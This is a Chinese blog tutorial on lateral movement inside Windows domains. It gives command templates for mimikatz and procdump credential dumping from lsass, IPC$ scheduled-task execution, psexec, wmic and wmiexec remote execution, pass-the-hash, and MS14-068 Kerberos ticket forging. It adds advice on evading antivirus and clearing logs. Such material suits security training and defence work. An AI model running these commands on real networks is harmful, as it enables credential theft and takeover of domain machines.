内网渗透(五)--横向移动

本文最后更新于:2 年前

简介

在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。当然,域内也有可能出现Linux主机,但概率很低。

利用方式

首先,信息收集是必不可少的。我们一般使用mimikatz(俗称”法国大面包“)进行密码或hash值的抓取。注意,使用这款工具需要管理员权限,并且实战中还要做好免杀。如果目标主机是Linux系统,则可使用mimipenguin抓取。

下面列举出了几个常用命令:

1
2
privilege::debug               #提升至debug权限
sekurlsa::logonpasswords #抓取密码

当mimikatz无法正常上传或者被查杀时,mimikatz也可以配合procdump使用。procdump是Windows自带的软件,不会被杀软拦截查杀。下面是常用命令:

1
2
3
4
5
6
procdump上执行:
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz上执行:
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

通过IPC连接创建计划任务(目标主机需开放135和445端口)

IPC$(Internet Process Connection) 是共享 “ 命名管道 “ 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

利用流程:

1.建立 IPC 链接到目标主机

2.拷贝要执行的命令脚本到目标主机

3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

4.删除 IPC 链接

这里仅介绍at和schtasks两种计划任务的使用,实战中要根据不同的系统版本来选择不同种类的计划任务。

1.at(Windows server<2012)

1
2
3
net use \\目标机器IP\ipc$ "明文密码" /user:域名\域管理员用户名 #建立ipc连接
copy 文件名.bat \\目标机器IP\c$ #拷贝bat文件到目标机器,文件内写有系统命令
at \\目标机器IP 时:分 c:\add.bat #添加计划任务

2.schtasks(Windows server>=2012)

1
2
3
4
5
net use \\目标机器IP\ipc$ "明文密码" /user:域名\域管理员用户名   #建立ipc连接
copy add.bat \\目标机器IP\c$ #复制文件到其C盘
schtasks /create /s 目标机器IP /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\文件名.bat /F 对应执行文件 #创建adduser任务
schtasks /run /s 目标机器IP /tn adduser /i #运行adduser任务
schtasks /delete /s 目标机器IP /tn adduser /f #删除adduser任务

利用SMB服务(目标主机需开放445端口)

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开放3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。并且连接会产生日志,所以要注意清理。

psexec的基本原理:

1.通过ipc$连接,释放二进制文件psexecsvc.exe到目标

2.通过服务管理SCManager远程创建一个psexec服务,并启动服务

3.客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据

4.运行结束后删除服务

它的利用分为两种情况,一种需要建立IPC连接,需要知道明文密码;另一种不需要建立IPC连接,可以用hash值认证,但是需要使用第三方软件包IMpacket,且实战中需要做免杀处理。

第一种情况:

1
2
net use \\目标机器IP\ipc$ "明文密码" /user:管理员用户名
psexec \\目标机器IP -s cmd #需要先有 ipc 链接,-s 以 System 权限运行

第二种情况:

1
2
3
4
psexec \\目标机器IP -u 域管账户 -p 明文密码 -s cmd
psexec -hashes :$HASH$ ./域管账户@目标机器IP
psexec -hashes :$HASH$ 域名/域管账户@目标机器IP
psexec -hashes :hash值 ./administrator@目标机器IP #官方 Pstools无法采用 hash 连接

当然也可以用msf自带的psexec模块进行攻击,模块路径是exploit/windows/smb/psexec

利用WMI服务(目标主机需开放135管理端口和445回显端口)

WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。

同样的,WMI服务有三种连接方式,它们各有优缺点。

第一种是Windows自带的wmic,它只支持明文传递密码,且命令执行没有回显,我们只能把回显输出到txt文本里查看。但正因为它是系统自带的,我们不需要考虑免杀的问题。

1
wmic /node:目标机器IP /user:域管账户 /password:域管明文密码 process call create "cmd.exe /c 系统命令 >C:\文件名.txt"

第二种同样是Windows自带的CScript,需要配合vbs脚本使用(下载地址:https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码:xiao)。它只支持明文传递密码,但命令执行有回显,同样无需考虑免杀。

1
cscript //nologo wmiexec.vbs /shell 目标机器IP 域管账户 域管明文密码

第三种需要借助第三方软件包IMpacket,支持明文或hash传递密码,有回显,但是要考虑免杀。

1
2
3
4
wmiexec ./本地管理员账户:明文密码@目标机器IP "系统命令"
wmiexec 域名/域管账户:明文密码@目标机器IP "系统命令"
wmiexec -hashes :hash值 ./本地管理员账户@目标机器IP "系统命令"
wmiexec -hashes :hash值 域名/域管账户@目标机器IP "系统命令"

利用Python脚本批量利用hash

该脚本是impacket工具包中的一个工具,主要在从Linux像Windows进行横向渗透时使用,十分强大,可以走socks代理进入内网。

GitHub项目地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

部分转载自:[内网渗透测试:内网横向移动基础总结 - FreeBuf网络安全行业门户https://www.freebuf.com/articles/network/251364.html](内网渗透测试:内网横向移动基础总结 - FreeBuf网络安全行业门户https://www.freebuf.com/articles/network/251364.html)

哈希传递(PTH)

大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。同时,通过哈希传递攻击攻击者不需要花时间破解哈希密在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在Windows Server2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

下面以mimikatz为例:

1
2
3
privilege::debug      
sekurlsa::logonpasswords
sekurlsa::pth /user:域管账户 /domain:域名 /ntlm:ntlm值

然后在mimikatz弹回的cmd命令行中建立连接,执行命令即可。例如:

1
dir \\目标机器IP\c$

但是,实战中我们不知道获得的ntlm值属于哪一台主机,这就需要在弹出来的cmd命令行中进行测试。

票据传递(PTT)

我们在渗透测试中,要使用哈希传递攻击,则必须要获取目标机器的管理员权限。如果没有管理员权限,我们不妨用用票据传递攻击(PTT)。

在开始学习票据传递之前,我们有必要了解一下Kerberos协议:Kerberos协议认证过程(理论篇) - FreeBuf网络安全行业门户

在票据传递攻击(PTT)中,我们常用的有MS14-068、黄金票据、白银票据。其中MS14-068可用来横向获取域内主机权限,黄金票据、白银票据则可以用来对域控进行权限维持。这里我们主要结合mimikatz结合exp来利用MS14-068漏洞,至于黄金票据、白银票据我们将在未来的域内权限维持中讲解。

首先获取域用户的sid:

1
whoami /user

用exp生成伪造的凭证(exp下载地址点这里):

1
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

利用mimikatz清空凭证,因为有域成员凭证会影响伪造:

1
2
3
mimikatz # kerberos::purge         #清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list #查看当前机器凭证
mimikatz # kerberos::ptc 票据文件名 #将票据注入到内存中

注入成功后,即可使用net use命令登录目标机器:

1
net use \\目标机器IP 密码 /user:用户名

国产内网杀器–Ladon

由于是图形化工具,所以这里不再赘述。它的功能包括信息收集、协议扫描、漏洞探针、传递攻击等,有兴趣的自行了解。


内网渗透(五)--横向移动
https://rookieterry.github.io/2022/01/25/内网渗透(五)-横向移动/
作者
HackerTerry
发布于
星期二, 一月 25日 2022, 9:26 晚上
许可协议